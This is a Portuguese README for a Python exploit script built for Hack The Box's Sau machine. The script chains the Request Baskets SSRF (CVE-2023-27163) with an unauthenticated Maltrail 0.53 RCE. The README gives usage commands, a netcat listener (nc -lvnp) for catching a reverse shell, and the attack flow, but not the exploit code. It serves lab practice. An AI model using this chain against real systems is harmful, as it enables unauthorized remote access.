Cadeia de Exploração HTB Sau — CVE-2023-27163 (SSRF) + Automação de RCE no Maltrail

Um script de exploit em Python que combina a CVE-2023-27163 (Server-Side Request Forgery no Request Baskets ≤ 1.2.1) com uma vulnerabilidade de Remote Code Execution não autenticada no Maltrail 0.53, entregando um reverse shell. Projetado para a máquina Sau do Hack The Box.

📌 Visão Geral

Este script automatiza o caminho de exploração necessário para obter acesso inicial ao alvo:

1. Explorando a CVE-2023-27163 para obter um endpoint de bucket utilizável
2. Aproveitando o serviço exposto para interagir com o Maltrail
3. Acionando um RCE não autenticado no Maltrail
4. Entregando um reverse shell para a máquina do atacante

⚙️ Uso

python3 exploit.py <TARGET_URL> <LISTENER_IP> <LISTENER_PORT>

Exemplo:

python3 exploit.py http://10.10.11.224 10.10.14.6 4444

🎧 Listener Netcat (Importante)

Antes de executar o exploit, inicie um listener na sua máquina para capturar o reverse shell:

nc -lvnp <LISTENER_PORT>

Exemplo:

nc -lvnp 4444

🧩 Parâmetros

🚀 Fluxo do Exploit

• Normalizar a URL do alvo
• Acionar a CVE-2023-27163 para criar/acessar um request basket
• Extrair o endpoint acessível (bucket_url)
• Usar o bucket para interagir com o Maltrail
• Executar o payload para gerar o reverse shell

⚠️ Notas

• Certifique-se de que o seu listener está em execução antes de executar o script
• Remova a / final da URL do alvo (tratado automaticamente no script)
• Projetado especificamente para a máquina HTB Sau — pode não generalizar

📚 Referências

• CVE-2023-27163 (Request Baskets)
• Maltrail Unauthenticated RCE

🛑 Aviso Legal

Este projeto destina-se a fins educacionais e ao uso em ambientes autorizados, como o Hack The Box. Não use contra sistemas sem a devida permissão.